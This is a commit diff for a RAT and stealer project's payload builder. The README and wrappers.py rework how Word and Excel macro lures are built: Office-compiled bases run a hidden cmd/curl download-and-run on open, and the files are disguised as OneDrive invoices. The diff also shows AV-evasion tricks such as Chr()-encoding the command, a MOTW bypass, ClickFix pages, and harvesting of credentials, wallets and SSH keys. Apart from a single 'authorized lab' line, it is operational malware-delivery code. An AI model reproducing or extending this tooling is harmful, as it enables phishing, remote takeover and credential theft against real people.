wrappers: docm/xlsm macros from office-authored compiled bases (pyopenvba rebuilds write source-only streams whose auto-events never hook - root-caused and verified live), inject runtime url+filename into word docvars / excel cfg-sheet cells instead of rewriting vba; drop pptm (auto_open never fires, thispresentation unauthorable via automation); bases ship in wrappers_bases/; readme updated

README.md

@@ -16,7 +16,7 @@ HVNC RAT and stealer research project, derived from Misery. For local testing an
 - **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox
 - **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, Signal session listing
 - **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
-- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `pptm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html`
+- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html`
 - **Keylogger and clipboard monitoring**
 - **Persistence**: HKCU Run key and WMI event subscriptions
 - **Elevation** (`elevate`): silent UAC bypass to High via PEB masquerade and CMSTPLUA/ICMLuaUtil, then SYSTEM through SeDebug token theft from a non-PPL system process. Verified on Windows 11 25H2 (build 26200)
@@ -57,9 +57,8 @@ filetypes in `dist/` and records each one in `<out>.manifest.json` with its
 sha256 and size. `python setup.py --list-formats` prints the current list with
 dependencies.
 
-- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run
+- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run. The macro comes from a Word-authored compiled base (`wrappers_bases/docm_base.docm`); only the stage URL and agent filename are injected as document variables and read at open time, because rebuild-generated macro streams open without auto-event hooks (verified live 2026-08)
-- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run
+- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run. Same design: an Excel-authored compiled base (`wrappers_bases/xlsm_base.xlsm`) with the runtime values in a hidden `cfg` sheet
-- `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run
 - `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
 - `pdf` - agent embedded as a PDF attachment, launched on open
 - `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
@@ -78,6 +77,16 @@ iso, and polyglot_html carry the agent themselves. The macro files ship with
 decoy content, and the lnk/pdf formats show a decoy document, so they read as
 normal business documents instead of empty templates.
 
+The docm and xlsm bases are compiled by Word/Excel themselves so the
+`Document_Open` / `Workbook_Open` hooks actually fire: pyopenvba-style
+rebuilds write source-only module streams that Office opens in a degraded
+state where the auto-events never run (reproduced and root-caused live
+2026-08). The wrapper copies the base, fills decoy content, and injects the
+per-build values (Word docvars in `word/settings.xml`, Excel cfg-sheet cells
+in `xl/sharedStrings.xml`); the pre-compiled VBA builds the download chain
+from Chr()-encoded parts plus those values at open time, so no macro stream
+is ever rewritten.
+
 The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as
 `STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to
 the agent.
@@ -93,9 +102,13 @@ The wrappers use these optional libs; a missing lib just skips the formats
 that need it:
 
 ```powershell
-pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
+pip install pylnk3 pycdlib pikepdf python-docx openpyxl
 ```
 
+The docm/xlsm bases live in `wrappers_bases/` and ship with the repo; rebuild
+them in Office if you ever change the macro logic (see the wrapper docstring
+notes), then commit the new base.
+
 ## Commands
 
 | Command | What it does |
@@ -148,6 +161,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser
 - `src/rat`: keylogger + clipboard
 - `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
 - `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
+- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
 - `build/`: out-of-source build dir
 
 ## Licence

wrappers.py

@@ -21,18 +21,25 @@ Commando.A!ml, all reproduced locally):
                    (LNK-launched cmdlines that download are flagged by
                    Defender's FastPath ML, so the chain lives in the .cmd)
   pdf              PDF with the agent embedded as an attachment (OpenAction launch)
-  pptm             PowerPoint macro deck: Auto_Open -> hidden cmd/curl
   iso              ISO/IMG container carrying the agent (MOTW bypass)
   polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
   polyglot_html    EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
 
 Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe);
 self-contained formats embed the agent directly. The macro files carry decoy
-content (python-docx / openpyxl / python-pptx when installed) so they look like
+content (python-docx / openpyxl when installed) so they look like real
-real documents, and the decoys are worded like M365/OneDrive share messages.
+documents, and the decoys are worded like M365/OneDrive share messages.
-Optional third-party libs are used where they exist: pyopenvba (macro files),
+The docm/xlsm macros are never generated: they come from Office-authored
-pylnk3 (shortcuts), pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only
+compiled bases (wrappers_bases/), which Office loads with working auto-event
-the formats that need it.
+hooks -- pyopenvba-style rebuilds write source-only module streams that Word
+and Excel open in a degraded state where Document_Open/Workbook_Open never
+fire (verified live 2026-08). Only the per-build values (stage URL, agent
+filename) are injected into the base's data storage (Word docvars in
+word/settings.xml, Excel cfg-sheet cells in xl/sharedStrings.xml) and read
+by the pre-compiled VBA at open time.
+Optional third-party libs are used where they exist: pylnk3 (shortcuts),
+pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only the formats that
+need it.
 
 Run only from an authorized lab.
 """
@@ -41,31 +48,29 @@ import base64
 import hashlib
 import io
 import os
+import shutil
 import zipfile
 from pathlib import Path
 from urllib.parse import urlparse
 
 FORMATS = [
-    ("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
+    ("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", [], True),
-    ("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
+    ("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", [], True),
     ("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
     ("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
     ("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
     ("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
-    ("pptm", "PowerPoint macro deck (Auto_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
     ("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
     ("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True),
     ("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False),
 ]
 
 _LIBS = {
-    "pyopenvba": "pyopenvba",
     "pylnk3": "pylnk3",
     "pycdlib": "pycdlib",
     "pikepdf": "pikepdf",
     "docx": "python-docx",
     "openpyxl": "openpyxl",
-    "pptx": "python-pptx",
 }
 
 STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs]
@@ -148,20 +153,6 @@ def _xor_hex(data: bytes, key: int) -> str:
     return bytes(b ^ key for b in data).hex()
 
 
-def _vba_cradle(p, fname: str) -> str:
-    """VBA that Shells the cmd/curl chain hidden. No PowerShell: -enc cradles
-    are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml). The whole
-    command is Chr()-encoded so no literal trigger string (cmd, curl, http)
-    survives in the macro for Office AMSI / content-trigger scans."""
-    cmd = download_cradle(p, fname)
-    if not cmd:
-        return None
-    enc = " & ".join("Chr(%d)" % ord(ch) for ch in cmd)
-    return ("Dim c As String\r\n"
-            "    c = %s\r\n"
-            "    Shell c, vbHide" % enc)
-
-
 def _zip_of(entries, member=None) -> bytes:
     """Zip one or more (name, data) entries. Accepts the old (data, member)
     call shape for compatibility."""
@@ -209,8 +200,6 @@ def _pick_decoy() -> str:
 _CT = {
     "docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml",
              b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"),
-    "pptm": (b"application/vnd.ms-powerpoint.presentation.macroEnabled.main+xml",
-             b"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"),
 }
 
 
@@ -263,7 +252,7 @@ def _excel_decoy(path: str) -> None:
     from openpyxl.styles import Font
 
     wb = load_workbook(path, keep_vba=True)
-    ws = wb.active
+    ws = next((s for s in wb.worksheets if s.title.lower() != "cfg"), wb.active)
     ws.title = "Invoice"
     rows = (("Item", "Description", "Amount"),
             ("INV-2041", "Consulting services", 12490),
@@ -283,23 +272,6 @@ def _excel_decoy(path: str) -> None:
     wb.save(path)
 
 
-def _powerpoint_decoy(path: str) -> None:
-    from pptx import Presentation
-    tmp = path + ".tmp.pptx"
-    _swap_ct(path, tmp, *_CT["pptm"])
-    prs = Presentation(tmp)
-    decoy = _pick_decoy()
-    title, _, body = decoy.partition(" - ")
-    slide = prs.slides[0]
-    slide.shapes.title.text = title
-    for ph in slide.placeholders:
-        if ph.placeholder_format.idx == 1:
-            ph.text = body
-    prs.save(tmp)
-    _swap_ct(tmp, path, *_CT["pptm"][::-1])
-    Path(tmp).unlink()
-
-
 def _office_decoy(path: str, kind: str) -> None:
     """Fill a macro-enabled file with decoy content. Uses the matching editor
     lib when installed; docm falls back to the plain body injection."""
@@ -310,30 +282,82 @@ def _office_decoy(path: str, kind: str) -> None:
             _inject_docm_decoy(path)
     elif kind == "xlsm" and _import("openpyxl") is not None:
         _excel_decoy(path)
-    elif kind == "pptm" and _import("pptx") is not None:
-        _powerpoint_decoy(path)
 
 
-def _macro_document(p, module_name, trigger, docm: bool, out_name: str):
+_BASE_DIR = Path(__file__).resolve().parent / "wrappers_bases"
-    """Build a macro-enabled Office file whose code-behind runs the cradle."""
+_BASE_FILES = {
-    from pyopenvba import WordFile, ExcelFile
+    "docm": "docm_base.docm",
+    "xlsm": "xlsm_base.xlsm",
+}
 
-    src = _vba_cradle(p, out_name + ".exe")
+
-    if not src:
+def _inject_macro_vars(path: str, kind: str, p, out_name: str) -> bool:
+    """Patch the per-build runtime values into the base's data storage:
+    Word docvars in word/settings.xml, Excel cfg-sheet cells (inline strings
+    in the sheet XML). The pre-compiled VBA reads them at open time, so
+    the compiled macro never needs rebuilding. Returns False if the base
+    did not contain what the macro expects, so a broken artifact is never
+    shipped."""
+    url = p.get("stage_url")
+    if not url or any(ch in url for ch in '"<>'):
+        return False
+    fn = out_name + ".exe"
+    with zipfile.ZipFile(path, "r") as z:
+        entries = {n: z.read(n) for n in z.namelist()}
+    if kind == "docm":
+        settings = entries.get("word/settings.xml")
+        if settings is None or b"</w:settings>" not in settings:
+            return False
+        docvars = ('<w:docVars><w:docVar w:name="u" w:val="%s"/>'
+                   '<w:docVar w:name="fn" w:val="%s"/></w:docVars>'
+                   % (url.replace("&", "&amp;"), fn)).encode("utf-8")
+        entries["word/settings.xml"] = settings.replace(
+            b"</w:settings>", docvars + b"</w:settings>", 1)
+    else:  # xlsm: cfg-sheet cells are inline strings in the sheet XML (and
+        # sharedStrings if the base editor ever switches) -- patch any part
+        # that still carries the placeholders
+        seen = False
+        for n in list(entries):
+            if b"PLACEHOLDERURL.invalid" not in entries[n]:
+                continue
+            seen = True
+            entries[n] = (entries[n]
+                          .replace(b"http://PLACEHOLDERURL.invalid/x",
+                                   url.encode("utf-8"))
+                          .replace(b"placeholder.exe", fn.encode("utf-8")))
+        if not seen or any(b"PLACEHOLDERURL.invalid" in b for b in entries.values()):
+            return False
+    with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
+        for n, b in entries.items():
+            z.writestr(n, b)
+    return True
+
+
+def _macro_document(p, kind: str, out_name: str):
+    """Copy the Office-authored compiled base into dist, fill it with decoy
+    content, then inject the stage values. The bases carry the trigger
+    compiled by Word/Excel themselves: pyopenvba-style rebuilds write
+    source-only module streams that Office opens without auto-event hooks
+    (verified live 2026-08), so no macro is generated from scratch."""
+    base = _BASE_DIR / _BASE_FILES[kind]
+    if not base.exists():
+        return None
+    path = str(p["dist"] / (out_name + "." + kind))
+    shutil.copyfile(str(base), path)
+    _office_decoy(path, kind)
+    if not _inject_macro_vars(path, kind, p, out_name):
         return None
-    vba = ("Private Sub %s()\r\n"
-           "    %s\r\n"
-           "End Sub\r\n") % (trigger, src)
-    cls = WordFile if docm else ExcelFile
-    target = out_name + (".docm" if docm else ".xlsm")
-    path = str(p["dist"] / target)
-    with cls.create_new(path) as host_file:
-        host_file.set_module(module_name, vba)
-        host_file.save(path)
-    _office_decoy(path, "docm" if docm else "xlsm")
     return path
 
 
+def build_docm(p, agent: bytes, out_name: str):
+    return _macro_document(p, "docm", out_name)
+
+
+def build_xlsm(p, agent: bytes, out_name: str):
+    return _macro_document(p, "xlsm", out_name)
+
+
 def _inject_docm_decoy(path: str) -> None:
     """Append a plausible paragraph to the Word body without touching the
     macro streams; best-effort, skipped silently if the part is unusual."""
@@ -354,14 +378,6 @@ def _inject_docm_decoy(path: str) -> None:
         pass
 
 
-def build_docm(p, agent: bytes, out_name: str):
-    return _macro_document(p, "ThisDocument", "Document_Open", True, out_name)
-
-
-def build_xlsm(p, agent: bytes, out_name: str):
-    return _macro_document(p, "ThisWorkbook", "Workbook_Open", False, out_name)
-
-
 # ---------------------------------------------------------------- html smuggling
 
 def build_html(p, agent: bytes, out_name: str) -> str:
@@ -533,23 +549,6 @@ def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
     return path
 
 
-def build_pptm(p, agent: bytes, out_name: str) -> str:
-    from pyopenvba import PowerPointFile
-
-    src = _vba_cradle(p, out_name + ".exe")
-    if not src:
-        return None
-    vba = ("Sub Auto_Open()\r\n"
-           "    %s\r\n"
-           "End Sub\r\n") % src
-    path = str(p["dist"] / (out_name + ".pptm"))
-    with PowerPointFile.create_new(path) as host:
-        host.set_module("Module1", vba)
-        host.save(path)
-    _office_decoy(path, "pptm")
-    return path
-
-
 # ---------------------------------------------------------------- pdf
 
 def _pdf_decoy(pdf, title: str) -> None:
@@ -738,7 +737,6 @@ _BUILDERS = {
     "clickfix_html": build_clickfix_html,
     "lnk": build_lnk,
     "pdf": build_pdf,
-    "pptm": build_pptm,
     "iso": build_iso,
     "polyglot_exe_zip": build_polyglot_exe_zip,
     "polyglot_html": build_polyglot_html,